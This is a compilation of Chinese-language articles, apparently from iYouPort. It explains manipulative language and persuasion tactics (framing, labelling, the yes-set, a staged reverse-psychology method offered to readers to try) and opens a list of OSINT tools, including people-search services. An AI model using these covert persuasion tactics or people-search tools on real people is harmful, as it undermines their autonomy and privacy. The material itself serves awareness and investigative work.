从这幅图中您看到了什么？（顺便说，中文推特称这幅画是“梵高作品”，其实不是，只是网友制作的，原图中只有3个人）

对于上面这幅图，如果我不是问：“您看到了什么”，而是说成 “您看到了几个人？”、或 “您看到了几个裸体？” 它就有了操纵效果。

除了所有的感官印象之外，人们对现实的感知还有很大一部分来自于

口头语言。

当然，你会觉得自己在用眼睛、耳朵和鼻子来感知世界，但是，这些感官印象的意义取决于您如何用语言来描述它们 —— 用什么样的语言或定义来描述这些体验。

人们使用的语言就是自身解读世界的一种方式，它决定了您看到的是什么。你无法对雪有20种不同的体验，除非你有因纽特人那么多可以描述雪的词汇。

☞ 当操纵者想要影响你的时候，就是要确保你只用操纵者想让你用的方式而不是其它方式来感知世界。

- 《语言是强大的武器—— 如何使用它？社交工程攻击演示继续：致命的诱导》

有些时候，如果足够幸运的话，操纵者还可以提前决定你如何感知世界 —— 通过暗示来引诱你去“看”某个细节，而忽略掉其他细节。就如这篇文章中演示的信息战手段《虚假信息游戏：社交网络纷杂的信息环境下如何击败阴谋论？》，它引诱人们注意时间戳，而忽略掉安检通道并非一个。

即使您体验到了操纵者无法预测的事，也不会有什么问题，因为操纵者可以改变你对自己的体验的看法，即使在事实发生之后，也可以通过改变描述你的体验的方式来做到这一点。

人们喜欢想象自己的记忆是严格不变的，就像相册里的照片一样，但是事实比这要复杂的多。比如这篇文章中分析的例子，《不知不觉中，你已经变成了别人—— 社交媒体如何改写了你的记忆》，这也是一种操纵。

下图中这位中国互联网用户很聪明，他看出了媒体的问题。但我们今天准备讲述的操纵还不止于此。

「图」

「图」

每次您想记住什么事时，它都在您的大脑中进行了重构。你所记得的是当时输入大脑的各个不同精神片段的拼图组合。这意味着你的记忆在你每次回想起来的时候都会有些许的不同，因为拼图的每个部分每次都有变化。

而这样的重构也受到语言和微妙引导的影响。心理医生就是靠这个吃饭的 —— 修改你的记忆，让您改变对那些不幸的认识。当然这是善意的操纵，而本系列的主题专注于恶意，虽然它们使用的是同一种方法。

在一个著名的实验中，被试被要求观看一段多辆汽车撞在一起的影片。然后被试需要回答关于影片的问题。

其中一些人被问道："当这些车互相撞击时它们开得有多快？" 另一些人则被问道："当这些车互相碰撞时它们开得有多快？"

被试必须在看完影片后立即回答。结果是，被问到 "互相撞击" 的人所猜测的行驶速度明显高于被问到 "互相碰撞" 的另一群人。

一个星期后，每个看过那段影片的人都被问道："你看到玻璃撞碎了吗？"

"撞击" 组回答 "是" 的人数是 "碰撞" 组的两倍还多。而实际上影片中并没有出现撞碎的玻璃。

显然，他们不同的记忆和因不同的描述用词 "撞击"和"碰撞"而产生的联想，最终在各自脑海里生成了关于那个影片的不同场景。

这影响了他们重构的内容；也就是说，影响了他们的记忆。或者准确说，影响了他们自以为自己 "记住" 的内容。你看，操纵你的记忆力就是这么简单。

回想一下最近给您留下好印象的陌生人，比如在商店里帮你的人、餐馆服务员、或者救了你的人；如果把 这个人放在一个10人组成的队列里，您可能很容易认出他来。

但是，如果您必须写下这个人的所有特征：身高、头发颜色、衣着，等等。这样一份包含各种特征的清单，也许能帮您将此人从一大堆其他人中认出来，对吗？事实上恰恰相反。

在使用很多词语描绘此人后，你已经被削减了辨认出他的能力。您的口头描述替代了当时的视觉记忆，而后者更加复杂、难以描述。您在该清单中没有涵盖出来的特征将不会成为您辨认这个人的标准之一。

不论此人是否符合这些特征，很有可能它们不再存在于您的记忆中。一旦这些特征从您的记忆中删除，它们就会停止存在。

人的记忆并不是静止不变的，它在重构中不断变化，因而很容易被语言所影响和塑造。这一事实不仅是心理医生的操作方法，也是魔术师运用的一个重要工具 —— 暗示你注意一个表明细节，从而牵制你以至于你看不到魔术师在干什么。

比如纸牌游戏，魔术师让你选一张牌，任意一张。魔术师说 “现在我把纸牌放到一边”，这就是描述，而实际上他在秘密切牌，以便将那张选好的牌放在整副牌的最上面。

当魔术师告诉你他已经做了哪些事的时候，他会改变一些特定的细节，以期改变你对之前进展的记忆。比如秘密切牌的时候可能是魔术师唯一一次触碰纸牌的时候。

魔术师会设法不引人注意地行动，他会说：“把你抽出的牌放到牌桌中间，而我从来没有摸过它们”。

只要你没有理由指出魔术师刚刚摸过牌，你的记忆就会被上面那句话所操纵，从而记得 “魔术师没有摸过牌”。

同样，一群人被要求观看一个男人正在使用锤子时发生了意外的影片。其中一组被试在观看时听到了画外音，其中提到的是*螺丝刀*，而不是锤子。也就是说，这组被试听到的是错误的描述，结果是，这组被试在此后的回忆中更多地认为影片中的男人使用的是螺丝刀，而不是锤子。

当然，这种操纵显然对那些你不那么特别在意的信息方面最管用，如果您保持专注聚精会神，也许就能识破它。

所以，如果我要影响你对你认为比较重要的事的体验时，就应该从一开始影响你对那些事情的看法 —— 抢下先入为主的天机，甚至在那些事情发生在你身上之前就着手操纵你。

有很多种方法可以做到用语言来操纵您对世界的看法，比如下面这些方法，它们被使用得非常普遍 —— 尤其是在政治辩论和政治演讲中。如果您识别出了这种操纵，不要惊讶，因为所有政客都很擅长这手。

「图」

「图」

1、使用错误的定义

这个技巧是把一个广为接受的旧定义赋予一个新的、常常是不为人所熟悉的含义。

比如把监视机器称为“智能”，这是在控制你的注意放在“我得到了什么”角度上，从而让你忽略“我被剥夺了什么”。

- 《被俘虏的城市：为什么人们会接受可怕的军统？》

再或者，把暴力镇压说成“平暴”，暗示出现“暴乱”，需要当权者去“平息”。但那究竟是谁在怂恿暴力呢？很有可能就是渗透在其中的当局线人。而这些您始终不会知道，直到内部文件曝光。

- 在这里看到《警察渗透抗议运动简史》

2、发明新标签

如果我能用一些贬损的用语来描述竞争对手，那么我就是在给对手贴标签，这样做的效果可以极具破坏性。

一个例子是瑞典的保守党把左翼环保主义联盟称之为“泛红捣乱绿色组织”。他们还把瑞典社会民主党的教育政策说成是“嬉皮士学校政策”。

如果你想用这些用语进行辩论，你是没法获胜的。社会民主党可以这么回答：“你将对嬉皮士学校政策做些什么呢？”这就等于在暗示他们已经把“嬉皮士学校政策”当作了既成事实，于是你就输了。他们当然可以根本不回答，以避免争论教育政策，反正也是输。

请注意，贴标签也是一个典型的维稳战术，这点我们此前介绍过（在列表-5“技巧、策略和原理”）—— 当权者和寡头、以及他们操纵的国家媒体和企业媒体，使用各种方式对活动家团体及其主张进行污名化、丑化和歪曲，以转移公众注意力，并削弱运动的动员能力。

这些手段往往非常隐秘，它们的目的是极化支持和反对者，正如信息战中的经典操作那样，同时在两个极端下力。比如下面这个消息，在BLM运动期间被企业媒体广泛传播：

「图」

「图」

您看出他们的标签使用手段了吗？不不，不是审美问题，而是，他们在借助所谓的“政治正确”争议拉动两极分化，而“政治正确”并非这场运动的主题 —— 操纵者为抗议运动强行贴上“政治正确痴迷”的标签。

这一手段的效果非常显著，毕竟这些企业媒体占据了90%的认知市场，导致大范围的舆论都在讨论这一问题，从而实现了操纵者想要的撕裂和转移注意力。

作为活动家您必须非常小心这类柔性维稳战术，您需要有团队跟进，及时批驳、和更多对自身行动的明确论述。

3、非黑即白没有中间地带

也就是说不允许折中观点。这种态度意味着你看待事物必须极端，完全可以不考虑现实中的程度问题。

如果一个人或一件事被描述为非好即坏、非胖即瘦、有头发或秃头、真正的信教者或完全不信教者、绝对快乐或难过、绝对正直或邪恶、完全赞同还是完全反对 …… 那么就是极端错误的。

这样的二元观点有一大堆 —— 这种手段被有效地利用来使听者进入**我们—他们 ”的思维模式。你要么跟我们一伙，要么被我们打击。正如乔治W.布什曾经向世界宣布的那样：“你要么和我们站在一起，要么反对我们”。简单说，你不要思考，只管站队。

如果有人这么对你说话，小心他，他正在试图控制你。

4、暖的和冷的词汇

如你所知，包含丰富情感的词汇可以激发听者内在的强烈感觉；同样，你也可以运用一些相当中性的“冷”词汇来削弱听者的强烈情感。

因此，资本家不会谈论“失业”，而是谈论“在劳动力市场上求职”、或者“人力资源”。人们更喜欢说“安乐死”，而不是“协助死亡”，而火化总是意味着“帮他们获得解脱”。曾经斯德哥尔摩的一家广告公司把招待员这一职位命名为“第一印象经理” …… 哇哦，经理拿多少钱？接待员呢？

当你听到一个人在某种意见分歧很大的场合发表演讲时使用了富含情感的中性词汇时，你应该知道，此人在试图最大程度地避免争论。就如瑞典社会民主党坚持使用“共享部门”而不是“公共部门”那样，而中国的新闻经常使用“有关部门”来取代“维稳机构”。

5、神圣的社会价值

有些词语和话题对大众来说是十分神圣的。这意味着试图影响大众的人通过推崇神圣的事物可以得到高分，而指责对手破坏了神圣事物则可造成破坏性的甚至杀伤性的效果。

这里是一些最近几十年来被赋予“神圣”光环的东西：孩子、婚姻、亲子关系、葬礼、学校、濒危物种、宗教、环保、品质、保健、运动、可亲、贞操 ……

人的态度随时都在变化（当然其中一部分原因是受到了别人的影响）；而随着价值观的改变，一些神圣的社会价值日渐式微，或者受到了大众质疑。

例如在过去，男人在社会和家庭中是决策者，这是一件显而易见的事。但现在，这种观念几乎已经被新的观念所取代。而神圣光环是在假设所有人都对此有着相同的的观感，从而在基本层面扼杀了异议。

6、社会禁忌

每个社会都有其自己的禁忌，这些禁忌是人们不喜欢的事物，不论政治观点如何都不会喜欢的那些东西。

就如神圣光环一样，你也可以利用社会禁忌来实现操纵。通过猛烈批评一个禁忌，宣称竞争对手的政策会导致此禁忌的滋长，你就能获得每个人都赞同你。

以下是一些社会禁忌的例子：犯罪、物资滥用、恐怖主义、强奸、出轨、腐败、虐待老人、虐待动物、黑社会、自杀、诽谤 ……

您想起了什么？中国的“打黑运动”？哈哈，是的，这是其中之一。还有，众所周知的，当权者打着“反诽谤”的旗号扼杀新闻自由，每当记者揭露当权者的阴暗勾当时，都被指控为“诽谤”—— 这种做法在全球绝大多数国家都是常态。您可以在这里看到具体报告《数字焚书和网络维稳：149个国家/地区的互联网监视审查地图》。

还有，维稳部门只要宣称“反恐”，就能对社会做任何事，包括斯诺登曝光的间谍全世界的项目，也包括中国的集中营。下图中这本书在这里下载：https://www.patreon.com/posts/ru-jin-zhe-shi-38188062

「图」

「图」

就连“强奸”也一样，它被广泛作为人格暗杀的武器已经很有年头了。在这里看到《人格暗杀和抹黑运动》。这导致的结果是，女性的权益不仅无法得到保证，而且还变成了政治的武器和牺牲品。

同样，上述这份清单也是您可能最熟悉的、媒体最爱使用的词典，因为这些词都具有很高的吸睛度 —— 会刺激人们义愤填膺的东西。报纸和网络媒体经常借助这类所谓的社会阴暗面作为一种宣泄途径。

每个人都有一些“绝对不能做的事”的禁忌思想，而当你读到有人做了那样的事的报道时，就会让自己充满正义感，无疑，每个人在这类“彰显正义感”的机会中都是赢家。

通过强调社会禁忌，新闻媒体大赚了一笔又一笔，而你也彰显了自己的道德感，最重要的是，每个人都能说出你对别人做错事是什么感觉，或者，你对犯错的政党是什么感觉。

7、奉承

每个人都喜欢被别人奉承自己聪明，你也喜欢不是吗？每个人都喜欢被别人说自己做出了正确的决定，或者至少这些决定已经显示出了某些好处。

通过奉承你，我就削弱了你的批判性思考能力，你将被引导着欣欣然于自己当下的选择，距离作出更明智的决策越来越远。

操纵者提供给你的信息是经过精心筛选的，全部只为了一个目标，那就是，让你去想那些我希望让你想的事。

8、幽默

做一次精彩演讲的第一条准则就是，用一个笑话或者一则趣闻轶事开头。这样你就可以让听众放松（从生理上讲，人们在大笑的时候是不可能紧张的）。

放松，才能让人们更容易接受你传递的信息。

在你开始想到“还不错，这是个有趣的家伙”时，赞同对方的可能性将更高。

9、开头冷、中间热、然后激情燃烧

所有优秀的演讲者都擅长这种策略，即 随着演讲的进度而不断升温。

如果演讲者一开始就达到了激动人心的高潮，那么他有很大风险会在接下来的进程中不断走下坡路。

专业的做法是，演讲者必须在一开始显示出与他的听众保持着相同的水平。没有人能忍受哪个演讲者一开始就高声宣扬他的信息有多么了不起。

这就是希特勒最喜欢采用的操纵方法之一。当他开始演讲的时候，会先以一种平静的明智的语气来安抚听众，听起来就像是一个冷静温和的叔父。

接着，他的语速开始加快，带有更多的力量，而他的热情也开始展现出来。

他做了很多简短的停顿，也许是为了在继续演讲之前测试一下听众的反应。在演讲的最后，他向听众高声疾呼，打出最强有力的手势、把拳头重重地砸在讲台上。

就是这样，一步步地升级，他掌握住了整个人群，人们已经被他弄的群情激荡，于是最终，当他充分点燃人们的激情时，那些人已经变得像神经质一样大喊和鼓掌。

对于演讲操纵的系统介绍，您可以查看这篇文章《操纵式宣传：五个过滤器和识别线索》。

「图」

「图」

10、建构答案

建构答案 1——

如果我使用这个技巧来操纵你赞同我的意见，那么我会先向你提出一箩筐问题 —— 而这些问题都需要同样的答案。这就是操纵者在建构答案。

这些问题通常都会与上述神圣的社会价值或令所有人鄙视的社会禁忌相关，也就是说，操纵者会借助“显而易见的道理”，因此可以肯定，绝大多数人都会作出一样的答案。

到了最后一个问题时，我会问出一个不如其他问题那样显而易见的有争议问题，而我希望你能被我说服，就像回答其他问题那样来回答这个问题。

我基本会引导你回答“是”或“否”。然后，我希望你停止思考，并习惯性地回答后面的问题。如果你保持了这一惯性，就是被我控制住了。

请注意，最后一个问题和前面的一大堆问题可能完全无关，并没有逻辑关系，而在整个问答过程中，被操纵的一方会主动幻想出其中的逻辑关系，而无需操纵者告知。

比如下面这个例子：

—— 你想被冠状病毒杀死吗？

—— 不！

—— 你想被入室抢劫吗？

—— 不！

—— 你想变得老土无知而被所有人鄙视吗？

—— 不！

—— 你想要远离全面智能化的现代健康和谐社会吗？

—— 不！

显然，操纵者在故意牵制你的注意力在他们想要你承认的东西上，而完全绕避了争议性的问题：被剥夺的人权和军统。《被俘虏的城市：为什么人们会接受可怕的军统？》。

再比如，一个反对枪支管制的政治家可以这样使用该技巧：

—— 你们希望被政府审查吗？

—— 不！

—— 你们想被增税吗？

—— 不！

—— 你们希望政府变得越来越大吗？

—— 不！

—— 你们希望自己的孩子被送上战场吗？

—— 不！

—— 你们想要政府管制枪支吗？

—— 不！

也许您认为这样也太简单了，很容易看穿。但是，大多数时候事实上政治宣传就是如此简单的，它控制的是大众的思维弱点，只要你冷静下来、从群情激愤中逃出来，就很容易看懂操纵者的手段。

仔细研究一下这个例子是有必要的 ，因为这里面隐含了一个假设 —— 很多 说服专家都在使用这个技巧时忽略了这个假设。

它可不是要让人们随意地喊出“不”，在这个案例中，政客旨在让每个人公开表明对“大政府”的态度。显然这群人并不在乎大政府，知道政客将“大政府”与他所反对的事（枪支管制 ）联系到一起时，大众的反对情绪才被唤醒。

因此，当我想用这个方法来构建答案时，我将用我期望得到的回答来重复和肯定这种情感。于是，这种情感就和我（操纵者）的真实目标联系在一起来 —— 不论它们是否真的有联系。

只要我的陈述能让它们看起来彼此相关，就能拉你入套。

- 政客的常用做法《投票心理学：行为成因分析 帮你抵制宣传的迷惑》

建构答案 2：设置 “是” ——

我们可以变动一下，用更简单的方法来运用建构答案这一技巧。这个方式就是设置 “是”，其原理是：如果我能让你对两个显而易见的问题回答 “是”，那么你就更有可能对第3个问题也回答 “是”。

这个技巧已经被充分使用过。

请注意，您不能什么都问，您问的问题必须是相关的。公开承认法则和互惠法则都适用于此 —— 要对那些刚刚把他们的时间给了你并让你作出积极回答的人说不，的确是有点困难的。

但作为操纵者，如果要得到我想要的回答，我就要利用你的积极回答来引发一种积极的情感。简单说就是，如果我想让你跟我去看电影，下面这样的建构就是**错误的**：

- 第一个问题：你穿的是一件新运动衫吗？
- 第二个问题：不戴眼镜你会看不清楚吗？
- 第三个问题：想去看电影吗？

但根据假设 “是” 的原理，换成这样的建构就能好很多了：

- 第一个问题：嘿，我们上次出去玩是不是很开心？
- 第二个问题：你喜欢汤姆克鲁斯吗？
- 第三个问题：今晚想去看电影吗？

当我开始问你问题的时候 —— 即便这些问题并不相关 —— 并且你已经意识到自己连续回答了好几个 “是” 的时候 ，你就需要当心我下面即将问到的问题了，因为那才是我的目的所在。

操纵他人并不困难，但识别操纵并及时摆脱操纵，非常重要，虽然并不容易。公民能否摆脱操纵、至少是在多大程度上摆脱操纵，是民主是否能延续的关键。

下一集中我们将继续介绍帮助您摆脱操纵的技巧，同样是也许您还没有意识到的操纵手段。我们下次见。〇

—— 未完待续 ——

原文

步步为营法，轻松改变他人的观点：让你只想到我让你想的事（7） - iYouPort

让你只想到我希望你想的东西

别吵架，不要看起来很固执，您可以使用巧妙的引导，让对方心甘情愿地满足您的期待 ……

「图」

「图」

欢迎回来！

如果您错过了前面的内容，可以在下面回顾；

- 《发现你生活中的操纵者：在叙事矩阵的边缘（1）》
- 《认知幻觉和各种谬论：你是如何被绕进去的？- 让你只想到我希望你想的事（2）》
- 《什么样的人最容易被操纵：心理控制的状态是什么样的（3）》
- 《您真的知道自己在做什么吗？：让你只想到我让你想的事（4）》
- 《让你感到愧疚或无愧，你就会主动满足我更多：让你只想到我让你想的事（5）》
- 《操纵者如何用描述转变你感知世界的方式：让你只想到我让你想的事（6）》

除了前面6集中介绍过的各种心理操纵方式之外，本文再补充两种更为常见的操纵方法。然后，我们将介绍一种综合性的方法，有点小邪恶，但操纵能力最强大。

他没有抖森长得帅

现在您面前有3杯水。一杯是冰水，一杯是常温水，还有一杯是热

水。把它们并排放在您面前，现在，请把您的左手手指深入冰水里，右手手指伸进热水里，开始大声数到7！

然后把两只手抽出来，快速放入常温水里。

您会觉得自己的左手手指伸入了比较温暖的水里，而右手手指伸入了比较冷的水里。两种感觉同时出现，挺好玩的。

有些时候人的感知力会发生奇怪的事。当您看向一件事物时，您的看法其实正在受到其他一些事的影响 —— 但并非只是受到您所看见的事物的影响，还会受到您看到它之前看到的其他东西的影响。

这就是对比原则。

对比原则就是，如果人们观察两个事物，而第2个和第1个相比有所区别，那么人们就会放大这些区别，会感觉这些区别比其实际上要大得多。

这是个非常常用的方法，大多数人都会。还记得多年前就听说中国有句网络俗语“女神的闺蜜都很丑”，大概的意思。这就是对比原则在起作用。好吧，如果您想要自己在照片上看起来很漂亮光彩夺目，那么您和一位非常丑的人合影就够了……

这绝对没有相貌歧视的意思，只是举个例子。就像那3杯水一样的道理。

如果您花两万块买了一瓶拉菲正牌，就不会觉得一套300块的杯子有多贵了。人们在买下很贵的东西后就会变得更愿意花钱，这就是对比原则。宜家家居产品推销就使用了这一技巧。下次您再逛宜家的时候可以注意一下，收银台旁边篮子里的东西，以及有多少人会买它们。

对比原则是双向的，也就是说，如果你先看到的是便宜的东西，那么再看到贵的东西时，你就会觉得它们比实际上更贵。

换句话说，如果您想要显得更聪明，那最好让那些讲话很慢的人在您前面发言，这样当轮到您的时候，人们就会觉得您很有才。

当我想要改变您的观点时，当然，我可以仅仅使用对比原则来让您在听到我的观点之前听取另一个特别不靠谱的观点，而这个观点会使我的观点显得更好一些。但这还不够。

您还经常会受到一些既定观点的影响，这些观点就是您自己的观点。

因此为了影响你，我还需要注意自己想让你采纳的观点和你本身的既有观点之间的对比。

对比原则有适用范围。也就是说，如果我想让你接受的观点比你已有的观点相差太远，你就会觉得两者之间的差距比实际上还要大。反过来，如果我的建议和您已有的想法很接近，您就会觉得两者之间比实际上更相似。

为了产生最大的变化，也就是尽可能影响您去改变主意，我就要在表达观点时采取一种方式 —— 使我的观点看起来就像处于您赞同的界限之内。

这是个尺度问题。如果我的观点和您的既有观点太接近，也不会达到影响您的目的，因为那看起来更像是我在赞同您。

互惠和让步

还记得“在灾难中幸存”第7集中讲述过的互惠法则吗？这是一种很普遍的社会心理，对方对你微笑，你就觉得自己有必要回馈以微笑。骗子会利用这点，推销员和任何心理操纵大师都擅长利用这点。

中国政府有句话叫“不能吃饭砸锅”，用来要求公职人员的忠诚，它就是在利用这个原理：它首先强调/提醒你，“在你吃我的饭”，所以你就不能对不起我。（而“你的饭”又是谁给的呢？嘿）

就像公司给员工买小礼物一样，这些礼物虽然不值什么钱，但是有助于强化你对公司的忠诚感；如果公司能唤醒你的荣耀，你就会觉得有必要回报公司，你甚至会更愿意为公司做出牺牲。

电话推销员都很擅长利用人根深蒂固的面子感，实际上这也是互惠原则的一种变体；保持礼貌也是同样的道理，是您对关注您的人的一种回馈。

让步原则指的是，我通过假装对你让步，来增加你觉得有必要回馈我的感觉。有两个方法：要么降低我的要求，要么提供“额外的优惠”。

第一个方法是这样的：如果您对我提出的要求说不，那么我就接着改变我的要求，以使您能够接受，这也就增加了您配合我的“义务”。

如果我向你借100块钱，你不愿意借给我，那么我就改为只借20块。这样你就很难拒绝了。20块比100块差太远了（对比原则），但我现

在通过改变我的要求而做出了让步，所以现在轮到你做出让步来接受我的要求了。

人们会自动假设自己才是别人让步的原因，即使他们自己还没来得及做出反应，或者反应没能起作用。

在另一个不同的实验中，假定了一场谈判，两个人必须为如何分配一笔钱达成一致。实验中的一个人事先得到了指示必须连续退让自己的要求，不论对方说什么。

因此换句话说，谈判一方必须在讨价还价时不断让步，即使对方已经同意了之后。如此，实验中的另一方就倾向于认为是他让对方改变了注意，这使他觉得自己应该对谈判结果负起责任。

于是，通过假装让步 —— 不论是降低自己的要求还是通过额外优惠 —— 我就可以让您觉得是您让我有了这样的行动，因此您对整件事说不的可能性就会变得更小。

并且您会对结果更加满意，因为您觉得这一切都是您促成的 —— 其实那是我一直想要的结果。

「图」

「图」

步步为营

这可能是一个很聪明的策略，你总是能用它来得到你想要的。它能有效地将认知失调、构建答案、互惠原则、对比原则、和公开承诺等心理操纵技巧巧妙地整合在一起。可以让人们赞同那些超过了其接受水平的事物，甚至赞同那些与自己的既有看法相悖的观点。

心理学家 Philip Zimbardo 有一个例子可以清楚地表明如何运用这一策略来使一个纺织品零售商在市场萧条期间进货更多的纺织品。但这个方法可以用来实现各种目标 —— 不论是改变他人的观点还是态度，技巧都是一样的。

为了简化，这里使用 Zimbardo 的纺织品商店案例来说明。

第一步是推销员 A 来到商店。和店主简短地聊一会。他们讨论了当时的市场条件，推销员 A 鼓励店主评估一下他自己的情况、生意状态和常规事务。

最后推销员 A 感谢店主和他进行了以此有趣的讨论，他离开的时候带着一份店主的观点清单。这份清单上有6个观点，每一个观点都显示了店主准备赞同的不同程度。#你必须跟上新的发展，即使是在困难时期：＋3

- 试试卖一些不同的商品，可能会增加销量 ：＋2
- 购买旺季即将到来：＋1
- 市场价格可能会上涨：-1
- 去年的商品卖的很好：-2
- 绝对有必要现在进货：-3

也就是说，这个列表中的第一个观点是店主最赞同的，2、3 是店主可以接受的，4、5 是他不赞同的，而6则是他认为最不靠谱的。

但正是**6**这个观点，是推销员最想要店主支持的。推销员的目标就是让店主说："绝对有必要现在进货"。

这个方法最有趣的地方就在于，推销员要积极地鼓励店主反对的、不同意的、甚至直接拒绝的观点。这看起来完全不逻辑？但这正是该方法行之有效的原因。

第二步是让另一个推销员 B 拜访这间商店。这个推销员B开始和店主聊起来。提出了清单中的第一个观点，也就是店主最同意的那一个。

但是 B 提出了一个看起来不同的观点，她尽力显得颇有说服力地指出："现在市场不景气，我甚至觉得现在还不是紧跟时尚的时机"。这让店主觉得他的自由裁量权受到了攻击，推销员B明显是在影响他。

为了重新夺回自己的心理自由，店主会发起反击，说他没准备那么远，而且不同意推销员B的观点；相反，他认为能抓住机会跟上时尚的唯一时刻就是生意有点下降的时候。

推销员B让店主解释得更具体一点，以便他能捍卫他在这件事上的观点。

接着，这个推销员B会继续说出清单上第2个观点也不正确："在我看来。你最好还是不要在这样的时候改变你进货的产品"。店主会再次反驳，他说："我不同意，换商品是使我的销量上升的唯一办法"。

这时推销员就会回答："你也许是对的，但不论如何，现在不是购买季" —— B是在提出和清单上第3个观点相反的观点。完全可以预见，店主会继续反驳，称现在就是购买季。

您一定看出来了。每讨论完一个观点，推销员B都赞同店主，这就进一步增强了他们之间本来互不赞同的印象。

B继续提出店主稍微不太赞同的观点和矛盾的说法，比如清单上的第4条："好吧，这也许是购买季，但是市场现在还不足以恢复到能让价格上升的地步"。请注意，机关开始了。

推销员B和店主的对话已经开始遵循了一种模式，即：B先说出一个观点，然后店主不同意，最后推销员B再同意店主。B使用的是假装想要店主赞同她的一些观点，这样成功建立其了一个让店主感觉到他自己的自由受到了威胁的状态，并引起了他的认知失调。

这就反过来促进了店主和B进行争论。这就是逆反心理在起作用。

每个人都有逆反心理，而不只是孩子。尤其是在互联网上，人们倾向于反驳对方，批判性思考已经很难起作用。这种情况下实施心理操纵将更加容易。

还是上述案例，正在讨论清单上的第4条时，事情已经进展得很顺利了，假设店主原本的观点不那么强烈的话。

店主表示不同意，并声称市场能够支撑价格上升，而推销员B则借由更多的争论帮助店主加强了这一观点。

B的下一步是这样做的："好吧，即使你可以提高你的价格，你仍然卖不出什么东西。我的意思是，看看你去年卖得怎么样吧！"

店主则再次受到两个原因的支配：1、是他害怕失去思考的自由；2、是他已经陷入了推销员说什么他就反驳什么的模式中。

最后，推销员进行到店主一开始认为最不靠谱的观点上："好吧，即使去年的货卖得很好就像你觉得的那样，你还是没有必要马上现在就进货来做笔好生意"。

这里就是一声巨响，陷阱就在眼前。

店主只有继续不同意，他没有别的选择，除非他想要引起自己的心理压力。而当他反驳时，他就不得不说出推销员B一直想要听到的话，即：他确实想要现在进货。

不论店主原本的观点是同意还是不同意，这些观点都已经被减弱到这一程度：他被迫宣称赞同一个他先前完全不赞同的观点。

你看，这个方法其实惊人地简单：

1、我宣称不喜欢一些我知道你喜欢的东西，从而迫使你和我的观点产生冲突，并引诱你试图“改变我的观点”。

我会从你最赞同的观点入手，然后一步步推进到你不太赞同的观点。

2、一旦整个模式构建形成 —— 在我们完成了3 ~ 4个你不太赞同的观点之后，我会继续声称不同意你最不赞同的那个观点。

在你试图说服我（和你自己）为什么我错了的时候，我会继续声称不同意你更加否定的观点，直到最后一个我真正想要你赞同的观点。也就是我的操纵目的。

3、我会用否定的词语来表达你过去强烈拥护的观点，但是促使你反驳的模式会让你同意这个观点，你就会在心里给我贴标签：“此人是傻逼，他说的任何话都是错的”。而这个标签就是我最想要得到的，因为这样一来，我继续说什么，你都会反驳，而不去考虑我说的具体内容 —— 你是在反驳我这个人，而非观点本身。

由此，你就被我牵制住了。最终准确掉进我准备好的陷阱里。

整个过程要花多长时间，取决于您想要改变的人的观点有多强烈。对于一些琐碎的事，比如要看哪部电影、要吃牛排还是烧烤，只需一两分钟即可做到；对于一些严肃的事，比如把钱放哪儿，则需要花费更多的时间。

您可以试试看。

「图」

「图」

上图中这本书在这里下载：https://www.patreon.com/posts/ru-he-shi-yong-38192798

原文

20个最好用的在线侦查工具和数据收集工具 #OSINT - iYouPort

让它民主-公民掌握真相的技巧和技术

如何同时在一百多个社交媒体中查找用户名；如何检测您的账户是否曾经遭到入侵；如何获取世界上任何人的更多有价值信息；如何追踪您需要匹配的任何目标的足迹；如何对远程目标进行快速彻底侦察……

「图」

当您开始进行调查时，您将面临的第一个阶段就是针对目标的数据侦察和收集。完成有关目标的信息汇总后，您将获得所有必需的信息，如 IP 地址，域名，服务器，技术等等，以便您最终进行安全研究、渗透测试、开源调查和社交工程攻击测试。

获取这些有价值信息的最佳工具是什么？您是否希望跟踪人员和公司的数据、域名、IP、服务器和运行的软件？

本文将向您展示一些最佳的 Recon 和 Intel 信息收集工具。

在开始之前的重要提示：请记住，如未经事先授权，切勿在外部网络/系统上使用这些工具。这里介绍了这些工具，目的是在信息收集的第一阶段帮助 IT 安全研究人员和私人/公共信息安全调查员，这是网络安全调查中最重要的部分之一。

1. OSINT Framework

虽然 OSINT Framework 不是在您的服务器上运行的工具，但它是通过查询网络上公开提供的免费搜索引擎、资源和工具来获取有价值信息的一种非常有用的方法。它专注于为 OSINT 数据源提供最佳链接。

虽然这个 Web 应用程序最初是专注于 IT 安全性而创建的，但随着时间的推移，它现在也可以从其他行业获得其他类型的信息。它用于查

询信息的大多数网站都是免费的，但有些网站可能需要支付较低的费用。

「图」

2. CheckUserNames

CheckUserNames 是一个在线工具，可以帮助您在 **170** 多个社交网络中查找用户名。如果您正在运行调查以确定在不同社交网络上使用相同用户名的目标，则此功能尤其有用。

它还可以用于检查品牌公司名，而不仅仅是个人。

3. HaveIbeenPwned

HaveIbeenPwned 可以帮助您检查您的帐户过去是否遭到入侵。该网站由 Troy Hunt 开发，Troy Hunt 是该市场最受尊敬的 IT 安全专业人士之一，多年来一直提供准确的报告。

如果您怀疑自己的帐户遭到入侵，或者想要验证外部帐户的第三方妥协，这是一个完美的工具。它可以追踪来自 Gmail，Hotmail，雅虎帐户，以及 LastFM，Kickstarter，Wordpress.com，Linkedin 和许多其他热门网站来源的网络攻击。

「图」

4. BeenVerified

BeenVerified 是另一种类似的工具，当您需要在公共互联网记录上搜索目标人时使用它。当您进行 IT 安全调查并且目标是未知人员时，获取世界上任何人的更多有价值信息可能非常有用。

完成后，将显示结果页面，其中包含与该姓名匹配的所有人员，以及他们的详细信息，地理位置，电话号码等。一旦找到，您就可以构建自己的报告。

关于 BeenVerified 的惊人之处在于它还包括有关犯罪记录和官方政府信息的数据。

BeenVerified 的背景报告可能包括来自多个数据库的记录，破产记录、职业历史、社交媒体配置文件、甚至在线照片的信息！

5. Censys

Censys 是一个很棒的搜索引擎，用于获取有关连接到互联网的任何设备的最新和最准确的信息，它可以是服务器或域名。

您将能够找到有关在任何服务器上运行的 **80** 和 **443** 端口的完整地理位置和详细技术信息，以及目标网站的 HTTP / S 正文内容和 GET 响应，Chrome TLS 握手，完整的 SSL 证书链信息以及 WHOIS 信息。

6. BuiltWith

BuiltWith 是一种很酷的方式，可以检测互联网上任何网站使用的技术。

它包括有关使用的完整详细信息，如 Wordpress，Joomla，Drupal 等，以及全面深入的 Javascript 和 CSS 库，如 jquery，bootstrap / foundation，external fonts，Web 服务器类型（Nginx，Apache，IIS 等），SSL 提供商以及使用的网络托管服务。

BuiltWith 还可以让您找到目前最流行的技术，或者哪些技术正在趋势化。

毫无疑问，它是一个非常好的工具，可以收集有关任何网站的所有可能的技术细节。

7. Google Dorks

